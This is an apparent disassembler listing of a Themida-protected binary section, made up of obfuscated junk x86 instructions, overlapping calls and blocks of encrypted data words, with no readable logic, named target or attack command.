		dd 0EE81CEB7h, 5F0E83EEh, 52C7BF0Fh, 5BFABF0Fh,	13E9h
		dd 0A86F7900h, 6D19C2BAh, 0B5E6FCEBh, 0BA4E2E8Eh, 76508D28h
		dd 0DB4CA8Bh, 14830Fh, 8E80000h, 0B000000h, 3B33FA33h
		dd 0FE2ACF6h, 82h, 8B665B00h, 816660F9h, 0BA8829C2h, 71734680h
		dd 5850F61h, 0BA000000h, 57726CEh, 8E9h, 0E13D7800h, 73436134h
		dd 0E9F08A0Bh, 14h, 891F19F4h, 112A4934h, 0D79BAF1Ah, 44E66D82h
		dd 0B8F2256Ah, 0F5E2D280h, 66F58AF5h, 6613CCB8h, 0F60DA8Bh
		dd 8053DAB7h, 615F44CFh, 0B93AE980h, 22567833h,	14E9h
		dd 0E5154D00h, 4EB018ADh, 0F586F9A4h, 1399396h,	269065B1h
		dd 12810F34h, 0E9000000h, 0Dh, 8D7CE9F0h, 881A20FCh, 48052C30h
		dd 95DF814Dh, 0B4620F9Dh, 0C980F57Fh, 5870F89h,	0BF000000h
		dd 3C2F6C7Ah, 0DE9h, 0C2E8FF00h, 0CF723B6Fh, 0C4576B54h
		dd 0D1B1DD47h, 28B0Fh, 0FA8A0000h, 9E9h, 0BA70D500h, 1DE6D4FAh
		dd 0FEB4A783h, 8E8h, 0F837E300h, 0FAF0B3D3h, 6FBA6652h
		dd 0E8605F01h, 7, 6EDFC278h, 80FCC8E5h,	505A6BD8h, 5E45B966h
		dd 0DE96158h, 4F000000h, 196F503Ch, 52B355D0h, 0FE6A644h
		dd 0D38BFE8Ah, 7690BA66h, 9E8h,	5556A00h, 1731A2C7h, 0CA817812h
		dd 9D4568Ah, 81F58A5Eh,	719ED2DFh, 0BFC68079h, 6C54BF66h
		dd 0BE9h, 2205400h, 0E7BC342h, 0D91067E6h, 0DB8166F5h
		dd 65B5DF0Ah, 11E9h, 0CD4F7F00h, 0CF6957B6h, 0DA2D9145h
		dd 0F506C799h, 0B70F4D16h, 0B4BF66C2h, 0C78166BCh, 0EB816D73h
		dd 66447992h, 0BB1DBB66h, 0FCCE680h, 8B66C2B7h,	0CE8B66D1h
		dd 8160CAB2h, 40A15FE2h, 6152B747h, 5E8h, 0FE31EB00h, 8E0FBC5Fh
		dd 0
; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_5CFFE7
; ---------------------------------------------------------------------------
		dw 4A1Fh
		dd 0B79EF21Bh
		db 9Ah,	0C4h, 58h
; ---------------------------------------------------------------------------


loc_5CFFE7:				; CODE XREF: Themida_:005CFFD9j
		jl	loc_5CFFF6
		jp	loc_5CFFF6
		mov	dx, bx


loc_5CFFF6:				; CODE XREF: Themida_:loc_5CFFE7j
					; Themida_:005CFFEDj
		pusha
		call	near ptr loc_5D0005+2
		sbb	byte ptr [ebx+3BD7AAE6h], 5Ah
		test	al, 7Fh


loc_5D0005:				; CODE XREF: Themida_:005CFFF7p
		imul	edx, [eax], 60h
		popa
		pop	eax
		jl	$+6
		popa
		mov	bx, si
		or	ax, 0EEF4h
		cld
		jmp	loc_5D0027
; ---------------------------------------------------------------------------
		db 96h
		dd 8D367001h
		db 9Eh,	0B8h, 9
; ---------------------------------------------------------------------------


loc_5D0027:				; CODE XREF: Themida_:005D001Aj
		pusha
		jge	loc_5D003E
		jmp	loc_5D003E
; ---------------------------------------------------------------------------
		db 0F1h
		dd 5ADBAC85h, 0D749EBC8h
		db 50h,	30h
; ---------------------------------------------------------------------------


loc_5D003E:				; CODE XREF: Themida_:005D0028j
					; Themida_:005D002Ej
		adc	cx, 0EB92h
		popa
		jmp	loc_5D005A
; ---------------------------------------------------------------------------
		db 75h,	93h, 6
		dd 0E0D5E449h, 0F7FD25F7h, 0DF956C98h
; ---------------------------------------------------------------------------
		pop	ebx
		push	ds


loc_5D005A:				; CODE XREF: Themida_:005D0044j
		pusha
		mov	bh, ah
		movzx	eax, si
		popa
		jle	loc_5D006D
		add	ecx, 44128660h


loc_5D006D:				; CODE XREF: Themida_:005D0061j
		jnz	loc_5D0074
		clc


loc_5D0074:				; CODE XREF: Themida_:loc_5D006Dj
		jg	loc_5D0081
		pusha
		movsx	edx, ax
		mov	dh, bl
		popa


loc_5D0081:				; CODE XREF: Themida_:loc_5D0074j
		sbb	edi, 6B6D0E64h
		mov	ecx, ebx
		mov	si, cx
		mov	ecx, 44B26986h
		mov	bx, di
		jmp	loc_5D00A6
; ---------------------------------------------------------------------------
		push	ebp
		cmp	eax, eax
		popa
		xchg	eax, edi
		xchg	eax, ebx
		sub	[ebp+eax*2-70h], ch
		inc	esi
		pop	es
		push	esi


loc_5D00A6:				; CODE XREF: Themida_:005D0094j
		sub	al, 37h
		sbb	edx, 78DA8020h
		call	sub_5D00C7
		push	esi
		inc	dword ptr [esi+630F9D23h]
		or	eax, 0D4BF5C38h
		adc	eax, 0A52955A6h
		and	ecx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_5D00C7	proc near		; CODE XREF: Themida_:005D00AFp
		pop	edi
		mov	ecx, esi
		mov	edi, 2840F5Fh
		call	near ptr loc_5D00D9+4
		mov	edx, 0CF297F76h


loc_5D00D9:				; CODE XREF: sub_5D00C7+8p
		add	eax, 0E9525289h
sub_5D00C7	endp ; sp-analysis failed

		or	eax, [eax]
; ---------------------------------------------------------------------------
		dd 724E0000h, 0E4044E4h, 0CA73D45Dh, 6E95825h, 17000000h
		dd 6D4AA1A2h, 0F7F3811Eh, 0BA0605B2h, 1A6858CEh, 5E9h
		dd 5646B100h, 8166FDC7h, 0B57B19E3h, 0F28B6620h, 0E9F3BF0Fh
		dd 6, 0FD0CED49h, 0FE92018h, 9F000000h,	27E08D1h, 8FB8F400h
		dd 3B3DBA85h, 0AE82428h, 0B9000000h, 0FFEEBB8Ch, 3A612D2Eh
		dd 0D9BF0F63h, 0D8B70F5Eh, 13830Fh, 0EE90000h, 0F2000000h
		dd 0BDC11374h, 770932C2h, 7332FC37h, 0AE96068h,	0D5000000h
		dd 25263377h, 5968A5A6h, 6890F4Ch, 81000000h, 5245E7E8h
		dd 4AB4613Fh, 6FEA8166h, 0AE990h, 81B10000h, 3BDE090Bh
		dd 0F65FF8B3h, 1850Fh, 66FC0000h, 0E9FEF5BEh, 5, 87506430h
		dd 0EEBEF8BEh, 8016EDE3h, 8F0F04E7h, 8,	2840Fh,	0DF8B0000h
		dd 0FD7BF0Fh, 38Eh, 3BC78000h, 59B81AB2h, 6651EAE8h, 0EC3AD881h
		dd 0FFE8B66h, 0F8Ah, 5E800h, 0D7D80000h, 668FF3D9h, 597BBDBFh
		dd 12E8h, 252EE700h, 1368CBEh, 0D05A5310h, 256574ACh, 8B75CA23h
		dd 5E85BC8h, 0BE000000h, 0A55684B1h, 0FF8605Ah,	583h, 0E6816600h
		dd 6661FBD1h, 0BE8DF8Bh, 24000000h, 1493A346h, 85619E54h
		dd 81667A5Ch, 58FE32C3h, 0F8C18B66h, 0EE8h, 0E50E9800h
		dd 0C459F0A8h, 1F07F551h, 0E9E656D7h, 6, 1EA4B554h, 53581263h
		dd 11C38166h, 53BB5A57h, 661CD9A5h, 0A410E781h,	43B117BFh
		dd 0DF8B661Eh, 80D78B66h, 666064C8h, 0BA61F88Bh, 6224939Bh
		dd 11E9h, 6E75500h, 6F37E015h, 56A1F6E6h, 92A91B8h, 0F957F91Fh
		dd 0DA6BBE5Ah, 8B667769h, 12E9F9h, 5D7E0000h, 0A1A795C4h
		dd 0BA526115h, 0A2F7A24h, 0F8031F13h, 10E9h, 65E62C00h
		dd 6AD23B0Fh, 0B20417A3h, 73EFF3B9h, 8AF18177h,	0E9492432h
		dd 0Bh,	8834426Dh, 0DE519F9Ah, 0E9FF0AF3h, 7, 5EA07EB6h
		dd 0B5D66EFEh, 66CB8B9Dh, 0F52D98Bh, 0B85FFFBFh, 0C4F9BD2h
		dd 0D3FAB966h, 13E95250h, 0F3000000h, 0DEB0889Ah, 7DD7CC9Ch
		dd 0FBECEC6Fh, 0C4AF7D97h, 5F5BE25Fh, 6820Fh, 0E8810000h
		dd 6D600990h, 66C18B66h, 5C6DE981h, 9E9h, 927A4900h, 0CC05380Ch
		dd 0E68A3FCEh, 6660F8F8h, 0F59C6ABFh, 81CA8A61h, 9F2751EBh
		dd 0B70F533Eh, 0FBB5AF0h, 604FA18Fh, 0E2C68166h, 13E84Eh
		dd 173D0000h, 0E0B2D52Eh, 784338EAh, 2BF3B51Dh,	0C7F511DFh
		dd 9E952h, 9B5C0000h, 0D48170C2h, 5F72AD47h, 0BE961h, 0A5F10000h
		dd 8B23F479h, 6C4BE700h, 0D6C6817Eh, 665C55D3h,	0E86E34BAh
		dd 8, 0CDACD735h, 46C759C5h, 7E8h, 6179D800h, 71EACB4Eh
		dd 9ADF5FBBh, 0F5E5E62h, 0F28BD8BFh, 0D88B6660h, 10E961h
		dd 0CAAA0000h, 17249DF6h, 62828A8Fh, 0D3353776h, 830F89FEh
		dd 3, 66DABF0Fh, 812C21B9h, 0CC50B6D9h,	0BE96012h, 80000000h
		dd 0ACA70A2Bh, 0E2DF267Dh, 0DA819400h, 3F80B025h, 9E961h
		dd 0AA0C0000h, 880B1AB5h, 81EBFABBh, 84F40FF6h,	3BC28033h
		dd 0B368DEBAh, 12E925h,	2EA90000h, 0B6035D37h, 4179F87Dh
		dd 0AA622E9Ah, 8CC636CBh, 7E8h,	0DDCB4700h, 0C1F97900h
		dd 68F0Fh, 8D0F0000h, 0
; ---------------------------------------------------------------------------
		pop	eax
		pusha
		push	ebx
		or	dx, 0FCDFh
		pop	edx
		push	edi
		push	ecx
		pop	eax
		pop	edi
		popa
		adc	cx, 411Fh
		jmp	loc_5D048D
; ---------------------------------------------------------------------------
		dd 0B706692Ch, 0F1A20792h
		db 0A9h
; ---------------------------------------------------------------------------


loc_5D048D:				; CODE XREF: Themida_:005D047Fj
		jmp	loc_5D0497
; ---------------------------------------------------------------------------
		or	eax, 3CDD0F97h


loc_5D0497:				; CODE XREF: Themida_:loc_5D048Dj
		jo	loc_5D04A0
		movsx	edx, ax


loc_5D04A0:				; CODE XREF: Themida_:loc_5D0497j
					; Themida_:005D051Aj
		adc	bl, 6Fh
		mov	edx, 345814Dh
		sub	ecx, 2A86626Eh
		jmp	loc_5D04C6
; ---------------------------------------------------------------------------
		adc	[esi-27E1F480h], dl
		push	ebp
		imul	esi, 1Ch
		xor	eax, 11E8C4AAh
		enter	2268h, 0EDh


loc_5D04C6:				; CODE XREF: Themida_:005D04AEj
		sbb	ch, 25h
		and	cl, 2Ch
		mov	di, bx
		jmp	loc_5D04E5
; ---------------------------------------------------------------------------
		dd 6BB37C07h, 91034604h, 797490C3h, 0BCCC3305h
		db 0EEh
; ---------------------------------------------------------------------------


loc_5D04E5:				; CODE XREF: Themida_:005D04CFj
		pusha
		jmp	loc_5D04F6
; ---------------------------------------------------------------------------
		db 5
		dd 88D7710Ah, 9ED84147h
		db 1Dh,	4Bh
; ---------------------------------------------------------------------------


loc_5D04F6:				; CODE XREF: Themida_:005D04E6j
		mov	esi, edx
		popa
		jmp	loc_5D050B
; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, 6E3B0B0Bh
		dec	ecx
		pushf
		and	[edx], esi
		cmpsb
		mov	ah, 5Fh


loc_5D050B:				; CODE XREF: Themida_:005D04F9j
		or	edx, 5DD80448h
		mov	ax, cx
		push	ebx
		call	near ptr loc_5D051D+2
		ja	short loc_5D04A0
		int	3		; Trap to Debugger


loc_5D051D:				; CODE XREF: Themida_:005D0515p
		mov	edi, 830F44h
; ---------------------------------------------------------------------------
		dw 0
		dd 0F8595F00h, 13E952h,	0BBED0000h, 0DC12D329h,	4D6C90CBh
		dd 7DAB23D4h, 62E89F1Bh, 12E95814h, 0E3000000h,	0B562FBF9h
		dd 4981F62h, 9CE5BA9Dh,	0AD0E8FDh, 5E95Eh, 0D4D40000h
		dd 0F5731728h, 12E960h,	0BF8C0000h, 55D39A04h, 0F3F16C74h
		dd 0A59A0E27h, 7D94A094h, 0D38B6661h, 1A36EB81h, 816632B7h
		dd 66D5D1C1h, 603173BAh, 0E9CA8B66h, 10h, 628B5578h, 5AC534E5h
		dd 0FECEFD12h, 0ED79CC5Eh, 0CABF6661h, 0FB8B6650h, 13E8h
		dd 631F3300h, 768628DDh, 12B0EC73h, 4C0B3ECBh, 0C7ECF8CAh
		dd 8F0F5FF5h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D05DB
; ---------------------------------------------------------------------------
		db 7Ah,	2 dup(0EAh)
		db 7Ah,	0B5h, 0EAh
; ---------------------------------------------------------------------------


loc_5D05DB:				; CODE XREF: Themida_:005D05D0j
		cld
		jnb	loc_5D05E8
		add	edx, 253A38EDh


loc_5D05E8:				; CODE XREF: Themida_:005D05DCj
		movsx	eax, di
		add	eax, 4AB07111h
		mov	esi, edi
		mov	cx, di
		push	ebx
		mov	bx, 8C48h
		pop	edi
		or	di, 5B83h
		jb	loc_5D060C
		mov	ecx, 77510AABh


loc_5D060C:				; CODE XREF: Themida_:005D0601j
		cld
		mov	edx, ebx
		mov	edi, ebx
		pusha
		sub	ah, 0C3h
		mov	edx, 402D86D6h
		popa
		jmp	loc_5D0628
; ---------------------------------------------------------------------------
		dd 0FBE029D6h, 0DD61067Bh
; ---------------------------------------------------------------------------


loc_5D0628:				; CODE XREF: Themida_:005D061Bj
		or	esi, 1F5916C7h
		call	sub_5D0647
		nop
		inc	eax
; ---------------------------------------------------------------------------
		db 0DAh, 0FEh, 0B2h
		dd 4AAFE35Bh, 819CA98Bh, 0D383A948h
		db 6Ch,	46h, 0BBh

; =============== S U B	R O U T	I N E =======================================



sub_5D0647	proc near		; CODE XREF: Themida_:005D062Ep
		mov	ebx, edx
		pop	esi
		mov	dl, bl
		jno	near ptr loc_5D0660+4
		call	near ptr loc_5D0660+1
		sbb	esi, [edi]
		ror	byte ptr ds:7A5F0C47h, 0C8h


loc_5D0660:				; CODE XREF: sub_5D0647+Bp
					; sub_5D0647+5j
		mov	ecx, [ebx-40F0A53Dh]
sub_5D0647	endp ; sp-analysis failed

		clc
		jmp	loc_5D067D
; ---------------------------------------------------------------------------
		xor	byte ptr [eax+ecx*2], 62h
		mov	ah, 0BBh
		jbe	short loc_5D0692
		pop	ebp
		movsb
		push	es
		test	ds:8AF9A08Fh, ch


loc_5D067D:				; CODE XREF: Themida_:005D0667j
		jmp	loc_5D0694
; ---------------------------------------------------------------------------
		dw 6D02h
		dd 0D1B81666h, 0EB50D833h, 0BC5FFE31h
; ---------------------------------------------------------------------------
		mov	bl, 2Bh


loc_5D0692:				; CODE XREF: Themida_:005D0672j
		pop	ds
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_5D0694:				; CODE XREF: Themida_:loc_5D067Dj
		jmp	loc_5D06AB
; ---------------------------------------------------------------------------
		db 83h,	0E7h, 54h
		dd 96CCC83h, 0C74DB1F9h, 4C8F093Ah
		db 0Eh,	0F1h, 0DDh
; ---------------------------------------------------------------------------


loc_5D06AB:				; CODE XREF: Themida_:loc_5D0694j
		or	dl, 20h
		jmp	loc_5D06BD
; ---------------------------------------------------------------------------
		db 16h
		dd 567FFDDDh, 204016FEh
		db 7Eh
; ---------------------------------------------------------------------------


loc_5D06BD:				; CODE XREF: Themida_:005D06AEj
		adc	ax, 0B203h
		jz	loc_5D06CB
		or	bh, 0A6h


loc_5D06CB:				; CODE XREF: Themida_:005D06C2j
		mov	bx, 8DE5h
		pusha
		movzx	ecx, si
		jno	loc_5D06DA
		stc


loc_5D06DA:				; CODE XREF: Themida_:005D06D3j
		popa
		clc
		and	bx, 2B4Eh
		jbe	loc_5D06EC
		mov	ebx, 31C7AF93h


loc_5D06EC:				; CODE XREF: Themida_:005D06E1j
		call	near ptr loc_5D0704+1
		sub	[edi+57h], ecx
		cmp	[esi+0C3B5112h], ah
		rep push eax
		mov	esp, 5AD161B2h
		push	es
		loop	locret_5D0765


loc_5D0704:				; CODE XREF: Themida_:loc_5D06ECp
		mov	eax, ds:0EF09D981h
		or	al, 58h
		pop	esi
		jmp	loc_5D0721
; ---------------------------------------------------------------------------
		db 57h,	64h, 59h
		dd 0DD38F480h, 1DE6FBFh, 0EF7AE4E8h
; ---------------------------------------------------------------------------
		push	eax


loc_5D0721:				; CODE XREF: Themida_:005D070Cj
		mov	edi, edx
		xor	bl, 60h
		call	near ptr loc_5D0734+1
		outsb
		push	ebx
		sbb	[esi+662A8C72h], ah
		push	ebp


loc_5D0734:				; CODE XREF: Themida_:005D0726p
		imul	ecx, [edi], 28Dh
		add	[ebx-78F0A138h], cl
		push	es
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		add	edx, 270B6348h
		jmp	near ptr byte_5D0763
; ---------------------------------------------------------------------------
		db 0E8h
		dd 66982142h, 7905FFEBh, 0B3704494h, 613E31Fh
		db 0C9h, 0B5h, 87h
byte_5D0763	db 0Fh			; CODE XREF: Themida_:005D074Aj
		db 0BFh
; ---------------------------------------------------------------------------

locret_5D0765:				; CODE XREF: Themida_:005D0702j
		retn
; ---------------------------------------------------------------------------
		mov	dl, 0E2h
		xor	dh, 8Ch
		jmp	loc_5D0781
; ---------------------------------------------------------------------------
		dd 0F2B8E199h, 0E64707EDh, 0C109A45Eh, 4444285Bh
		db 20h
; ---------------------------------------------------------------------------


loc_5D0781:				; CODE XREF: Themida_:005D076Bj
		jb	loc_5D0789
		mov	edx, edi


loc_5D0789:				; CODE XREF: Themida_:loc_5D0781j
		movzx	eax, ax
		or	bx, 5ADDh
		jmp	loc_5D07A3
; ---------------------------------------------------------------------------
		dw 23CEh
		dd 0DE8FABE5h, 0FF65C21h
; ---------------------------------------------------------------------------
		inc	edx
		push	cs
		dec	edi


loc_5D07A3:				; CODE XREF: Themida_:005D0791j
		mov	dx, 52E4h
		stc
		mov	dx, 8C5Eh
		mov	si, di
		mov	ecx, esi
		mov	ax, di
		mov	di, dx
		cld
		mov	edi, esi
		or	bl, 0C0h
		mov	cx, bx
		push	edx
		mov	ch, ah
		pop	ebx
		pusha
		or	bl, 0E7h
		mov	cx, dx
		popa
		jmp	loc_5D07D9
; ---------------------------------------------------------------------------
		db 5Dh,	27h, 48h
		dd 64987F9Fh
		db 38h
; ---------------------------------------------------------------------------


loc_5D07D9:				; CODE XREF: Themida_:005D07CCj
		or	si, 5539h
		pusha
		mov	eax, edx
		jmp	loc_5D07F6
; ---------------------------------------------------------------------------
		dw 7C55h
		dd 2E4DEEF9h, 0D54EA313h, 2DD88652h
; ---------------------------------------------------------------------------
		wait
		pop	ebp


loc_5D07F6:				; CODE XREF: Themida_:005D07E1j
		popa
		and	cl, 61h
		jmp	loc_5D0805
; ---------------------------------------------------------------------------
		db 26h
; ---------------------------------------------------------------------------
		mov	ebx, 7A4EEEE8h


loc_5D0805:				; CODE XREF: Themida_:005D07FAj
		movzx	ebx, bx
		sbb	dx, 0DF61h
		adc	bl, 0D5h
		pusha
		mov	bx, 0BE64h
		movzx	edx, si
		popa
		push	eax
		mov	dl, ch
		pop	ecx
		movsx	ebx, di
		mov	si, 0DA45h
		jmp	loc_5D0839
; ---------------------------------------------------------------------------
		db 0E8h, 0EEh, 4Eh
		dd 8553517Ah, 1C6A05A6h, 1487D669h
		db 88h
; ---------------------------------------------------------------------------


loc_5D0839:				; CODE XREF: Themida_:005D0824j
		js	loc_5D0844
		xor	cx, 1CAh


loc_5D0844:				; CODE XREF: Themida_:loc_5D0839j
		sbb	dx, 645Ch
		pusha
		sub	ebx, 6AA8D640h
		jnb	loc_5D0863
		jmp	loc_5D0863
; ---------------------------------------------------------------------------
		mov	esi, 0E82EC002h
		jmp	short loc_5D088B
; ---------------------------------------------------------------------------
		db 63h
; ---------------------------------------------------------------------------


loc_5D0863:				; CODE XREF: Themida_:005D0850j
					; Themida_:005D0856j
		popa
		stc
		ja	$+6
		mov	eax, edi
		or	edi, 3CD7A827h
		pusha
		jp	loc_5D087C
		pusha
		popa


loc_5D087C:				; CODE XREF: Themida_:005D0874j
		jmp	loc_5D088A
; ---------------------------------------------------------------------------
		db 5Eh,	0EAh, 16h
		dd 0D562DB94h
		db 1Eh,	0E2h
; ---------------------------------------------------------------------------


loc_5D088A:				; CODE XREF: Themida_:loc_5D087Cj
		popa


loc_5D088B:				; CODE XREF: Themida_:005D0860j
		jz	loc_5D08A8
		call	near ptr loc_5D08A2+3
		sbb	eax, 41B6AFBFh
		cmp	edi, esi
		mov	ah, 0FEh
		in	al, 0
		push	es


loc_5D08A2:				; CODE XREF: Themida_:005D0891p
		call	near ptr 5EAF271Ah
		pop	edi


loc_5D08A8:				; CODE XREF: Themida_:loc_5D088Bj
		jmp	loc_5D08BE
; ---------------------------------------------------------------------------
		push	ebp
		xlat
		dec	esp
		idiv	byte ptr [edi-44BED732h]
		dec	ebp
		mov	ecx, 0C9122A4h
		inc	ecx
		aaa


loc_5D08BE:				; CODE XREF: Themida_:loc_5D08A8j
		adc	edx, 48A594C7h
		jmp	loc_5D08D7
; ---------------------------------------------------------------------------
		rcl	byte ptr [ebp-4Dh], 1
		push	edx
		inc	esp
		cmpsb


loc_5D08CF:				; CODE XREF: Themida_:005D08F5j
		out	0Fh, al		; DMA controller, 8237A-5.
					; master clear.	Clear or mask any or
					; all of the channels. Bits:
					; 0: 1=mask channel 0; 0=enable
					; 1: 1=mask channel 1;
					; 2: 1=mask channel 2;
					; 3: 1=mask channel 3;
		mov	dl, 42h
		xchg	eax, ebx
; ---------------------------------------------------------------------------
		db 25h,	41h, 8Eh
; ---------------------------------------------------------------------------


loc_5D08D7:				; CODE XREF: Themida_:005D08C4j
		jmp	loc_5D08E4
; ---------------------------------------------------------------------------
		dd 52D54EA3h, 9B2DD886h
; ---------------------------------------------------------------------------


loc_5D08E4:				; CODE XREF: Themida_:loc_5D08D7j
		mov	ebx, 7E6DF7FBh
		sub	eax, 6C4387EEh
		call	sub_5D0908
		setalc
		jge	short loc_5D08CF
		jmp	far ptr	5D95h:9ADE86C0h
; ---------------------------------------------------------------------------
		sub	[ebp-7Fh], edi
		pop	edi
		fldpi
		sub	[ecx+esi*8+4Bh], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D0908	proc near		; CODE XREF: Themida_:005D08EFp
		jmp	sub_5D0919
sub_5D0908	endp

; ---------------------------------------------------------------------------
		db 0FEh, 0F5h, 0FEh
		dd 833E133Bh, 0A72742BEh
		db 0A3h

; =============== S U B	R O U T	I N E =======================================



sub_5D0919	proc near		; CODE XREF: sub_5D0908j

; FUNCTION CHUNK AT 005D0A14 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005D0A2E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005D0A59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005D0A71 SIZE 00000011 BYTES

		pop	ebx
		mov	cx, 0F2D1h
		jbe	loc_5D0928
		mov	dx, 2BA5h


loc_5D0928:				; CODE XREF: sub_5D0919+5j
		jg	loc_5D0932
		mov	bx, 0BBEFh


loc_5D0932:				; CODE XREF: sub_5D0919:loc_5D0928j
		push	esi
		mov	al, bl
		pop	ecx
		clc
		sbb	cx, 277Ch
		add	ebx, 315C8D6Eh
		jmp	loc_5D0957
; ---------------------------------------------------------------------------
		cwde
		pusha
		inc	ecx
		add	edi, [edx+627AB98Bh]
		db	3Eh
		fdiv	qword ptr [edi-0C5505E8h]


loc_5D0957:				; CODE XREF: sub_5D0919+29j
		mov	bl, dh
		add	bx, 7966h
		mov	ch, al
		cld
		ja	$+6
		sbb	cx, 0D672h
		jmp	loc_5D0976
; ---------------------------------------------------------------------------
		db 96h,	90h, 81h
		db 0F4h, 0Bh
; ---------------------------------------------------------------------------


loc_5D0976:				; CODE XREF: sub_5D0919+53j
		mov	si, 6798h
		add	dl, 0ABh
		jmp	loc_5D0991
; ---------------------------------------------------------------------------
		dw 0DE81h
; ---------------------------------------------------------------------------
		and	esi, [ebp-2B9DD767h]
		scasb
		jmp	short loc_5D09D4
; ---------------------------------------------------------------------------
		db 4Ah,	0D3h, 85h
		db 26h
; ---------------------------------------------------------------------------


loc_5D0991:				; CODE XREF: sub_5D0919+64j
		mov	dx, 0F9D7h
		and	al, 0FFh
		sub	ecx, 5E5BC517h
		mov	ebx, 39E6D87Eh
		add	cl, 44h
		mov	ecx, eax
		mov	esi, ebx
		mov	di, 2BB9h
		call	sub_5D09BE
		add	[bp+di+2BE5h], ah
		stc
		jnb	short loc_5D0A14
		cmc
		jg	short near ptr loc_5D09D8+4
sub_5D0919	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D09BE	proc near		; CODE XREF: sub_5D0919+95p

var_10A40208	= dword	ptr -10A40208h

		mov	ecx, 4D93287Fh
		pop	esi
		mov	eax, 3C95046Fh
		push	ebx
		mov	cx, di
		pop	edi
		add	edi, 64CF2C6Fh


loc_5D09D4:				; CODE XREF: sub_5D0919+72j
		movsx	ebx, si
		pusha


loc_5D09D8:				; CODE XREF: sub_5D0919+A3j
		call	near ptr loc_5D09EA+4
		and	[esp+ebx*8+1Ch+var_10A40208+1],	6Bh
		mov	al, ds:7CBE9585h


loc_5D09EA:				; CODE XREF: sub_5D09BE:loc_5D09D8p
		sbb	[ecx-419960F1h], cl
sub_5D09BE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 615869FEh, 81C68B66h, 0F69CBD9h, 0FABF0F4Eh,	5810Fh
		dd 81660000h, 661301C6h, 8E0FD18Bh, 4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D0919


loc_5D0A14:				; CODE XREF: sub_5D0919+A0j
		mov	dx, 0A02Ah
		jmp	loc_5D0A2E
; END OF FUNCTION CHUNK	FOR sub_5D0919
; ---------------------------------------------------------------------------
		db 1Ch,	3Bh, 29h
		dd 5C475D53h, 0D82DAF3Ch, 730CBB7Ah
; ---------------------------------------------------------------------------
		add	ah, [ebx]
; START	OF FUNCTION CHUNK FOR sub_5D0919


loc_5D0A2E:				; CODE XREF: sub_5D0919+FFj
		add	edx, 48CBD03Ch
		mov	edi, edx
		mov	di, 0AAE4h
		and	ax, 0D2E9h
		jns	loc_5D0A59
		jmp	loc_5D0A59
; END OF FUNCTION CHUNK	FOR sub_5D0919
; ---------------------------------------------------------------------------
		dw 6D14h
		dd 835ABC38h, 5EE80BBAh, 7D99336h
		db 33h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D0919


loc_5D0A59:				; CODE XREF: sub_5D0919+126j
					; sub_5D0919+12Cj
		jmp	loc_5D0A71
; END OF FUNCTION CHUNK	FOR sub_5D0919
; ---------------------------------------------------------------------------
		dw 0B2C1h
		dd 0EC4FB834h, 0A98C07CCh, 70950FDFh, 0B593D2FAh
		db 9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D0919


loc_5D0A71:				; CODE XREF: sub_5D0919:loc_5D0A59j
		and	cl, 0ECh
		call	near ptr loc_5D0A7E+1
		punpckhdq mm3, qword ptr cs:[esi+0]


loc_5D0A7E:				; CODE XREF: sub_5D0919+15Bp
		xor	[edi], cl
		mov	al, [ebx]
; END OF FUNCTION CHUNK	FOR sub_5D0919
; ---------------------------------------------------------------------------
		dw 0
		dd 0C3BF0F00h, 0CE95Eh,	112F0000h, 2D6759A5h, 608AE520h
		dd 0DF8BE043h, 0D881FE8Ah, 199745ADh, 61605257h, 0C18B585Bh
		dd 0D1BF0F51h, 860F605Bh, 3, 0F27D980h,	284h, 611EB100h
		dd 7BF08166h, 6E90Eh, 257C0000h, 0E6F55614h, 23E571BBh
		dd 1820F47h, 0FC000000h, 1880Fh, 0FF90000h, 8160D8BFh
		dd 4FFD45D8h, 3810F54h,	0F000000h, 0E861FFB7h, 8, 0DB80C6F2h
		dd 43C9CCCEh, 0F5FD08Bh, 1280h,	0DE900h, 67F10000h, 0C9EEBDF5h
		dd 0A98F8CEDh, 0F317988h, 883h,	2880F00h, 53000000h, 0B8CCB05Ah
		dd 660D659Eh, 0CC66BF66h, 3751BB66h, 0B6D58A60h, 0ACB0618Ah
		dd 0BB66F4B1h, 0FE840B6h, 1A000000h, 4E3E442Ah,	0B045CC0Ah
		dd 0CFD01355h, 4CB84E42h, 58084D9Bh, 2C5EBAF5h,	860F232Ah
		dd 3, 8129CE80h, 7DAE78D0h, 0E0816666h,	0EE8A5A0Fh, 879EB966h
		dd 11E8h, 0AF466800h, 0A08C7017h, 0B294BF1Ch, 7967B5A9h
		dd 5EFC6E46h, 0BE6EBF66h, 8166F98Bh, 0F37DEF6h,	0C89h
		dd 5E95300h, 3E000000h,	0C354A742h, 6060605Eh, 1DB86661h
		dd 880F61A2h, 1, 0EE961F9h, 80000000h, 1EC87784h, 5C71C17Fh
		dd 282B0EA6h, 0C68160B4h, 7129A34Eh, 0F616060h,	87h, 0BE616100h
		dd 737D48A3h, 8BC0BF0Fh, 0B86060CBh, 7AFDEFF8h,	13E961h
		dd 98F90000h, 44CCDB8Eh, 0F9FA91E8h, 84417B8Ch,	3B545F66h
		dd 53B16121h, 0A860Fh, 80600000h, 816683F4h, 61D0FAEFh
		dd 66CB8B66h, 0FC741BAh, 68Ah, 9CE18100h, 81079F53h, 0C3C47DEAh
		dd 6E979h, 0D0DC0000h, 0BC02A23Eh, 12E9h, 2A956900h, 0E5B396D5h
		dd 0DE88D87Bh, 8FECE0E4h, 0E8FC8A09h, 0Dh, 9C671254h, 77DB67E7h
		dd 16C32F69h, 0A0BE5733h, 5A5B98D1h, 8F0F6058h,	17h, 12E9h
		dd 71782700h, 0F084EBD5h, 0C66232A5h, 0E4DC4570h, 0F166E3Eh
